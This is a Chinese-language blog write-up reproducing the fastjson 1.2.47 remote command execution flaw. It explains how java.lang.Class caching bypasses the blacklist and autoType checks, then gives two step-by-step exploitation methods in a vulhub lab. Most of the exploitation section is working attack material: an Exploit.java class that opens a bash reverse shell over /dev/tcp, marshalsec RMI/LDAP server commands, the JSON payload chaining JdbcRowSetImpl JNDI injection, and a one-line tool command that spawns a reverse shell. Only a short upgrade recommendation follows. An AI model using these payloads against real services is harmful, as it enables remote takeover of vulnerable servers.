fastjson1.2.47RCE远程命令执行漏洞复现

fastjson1.2.47RCE远程命令执行漏洞复现

漏洞背景

在2019年6月,fastjson 被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。

漏洞分析

此漏洞利用的核心点是java.lang.class这个java的基础类,在fastjson 1.2.48以前的版本没有做该类做任何限制,加上代码的一些逻辑缺陷,造成黑名单以及autotype的绕过。
过程:
1.Fastjson在开始解析json (JS 对象简谱) 前会优先加载配置,在加载配置时会调用TypeUtils的addBaseClassMappings和loadClass方法将一些经常会用到的基础类存放到一个ConcurrentMap对象mappings中,类似于缓存机制。
2.然后开始解析json数据,在ParserConfig.checkAutoType方法中对’@type’对应的value进行处理。fastjson在1.2.2+版本默认便不再开启autoType选项,并且在调用解析函数,没有传入预期的反序列化对象的对应类名时,fastjson则通过从mappings中或者deserializers.findClass()方法来获取反序列化对象的对应类。
3.找到对应类后便返回,不再经过黑名单和autotype的检查流程。而java.lang.class类恰好存在于deserializers对象的buckets属性中。java.lang.class对应的反序列化处理类是MiscCodec,在MiscCodec类中,java.lang.class拥有加载任意类到mappings中的功能。首先从输入的json串中解析获取val对应的键值,获取后调用的TypeUtils. loadClass()方法对键值进行类加载操作。
4.Mappings是ConcurrentMap类的,可以让当前连接会话生效。所以需要在一次连接会话同时传入两个json键值对、此次连接未断开时,继续解析第二个json键值对。此时我们利用’@type’传入已经在黑名单中的com.sun.rowset.JdbcRowSetImpl类尝试jdni注入利用。
5.6.但是fastjson直接从mappings中获取到了该类,它绕过了黑名单以及autotype开关的检查,再利用jdni注入就可以了。
总之就是利用java.lang.class类加载黑名单类到mappings中,直接从mappings中取出黑名单类完成漏洞利用,绕过了黑名单机制。感觉这个更像是一个逻辑漏洞,是代码的运行逻辑缺陷造成的。

影响版本

Fastjson <= 1.2.47

环境搭建

环境直接在vulhub里搭建,vulhub安装过程可参考网站:

https://www.cnblogs.com/lxfweb/p/12952490.html

进入到该目录下执行命令:

docker-compose up -d

环境即可搭建好。

漏洞复现

第一种方法:使用marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java
1.下载jar包https://github.com/CaijiOrz/fastjson-1.2.47-RCE。
2.准备恶意 Java 文件,创建文件Exploit.java(每次换命令,都要重新编译文件)

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
   static { 
try {
Runtime rt = Runtime.getRuntime(); 
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/port 0>&1"};
Process pc = rt.exec(commands);
 pc.waitFor();
        } catch (Exception e) {
}
}
}

3.编译成Exploit.class:

javac Exploit.java

fastjson1.2.47RCE远程命令执行漏洞复现_第1张图片
4.选择 Python 启动 Web 服务:

python -m SimpleHTTPServer port

在这里插入图片描述
5.启用RMI或LDAP服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://x.x.x.x:port/#Exploit” port

在这里插入图片描述
6.最后抓包,加上exp:
fastjson1.2.47RCE远程命令执行漏洞复现_第2张图片

{ 
"a":{ 
"@type":"java.lang.Class", 
"val":"com.sun.rowset.JdbcRowSetImpl" 
}, 
"b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://x.x.x.x:port/Exploit",
 "autoCommit":true
} 
}

再发送出去,就能反弹到shell了。
fastjson1.2.47RCE远程命令执行漏洞复现_第3张图片
第二种:使用fastjson_rce_tool.jar
1.利用jar包(下载:https://github.com/CaijiOrz/fastjson-1.2.47-RCE),
开启RMI或LDAP服务监听,并设置预执行命令(直接反弹shell):

java -cp fastjson_tool.jar fastjson.HLDAPServer ip port "bash=/bin/bash -i >& /dev/tcp/ip/port 0>&1"

2.nc监听。
3.再用burpsuite抓包,加上exp,把Content-Type改成: application/json发送,即可反弹到。

修复建议

使用最新版fastjson,https://github.com/alibaba/fastjson

你可能感兴趣的:(网络安全)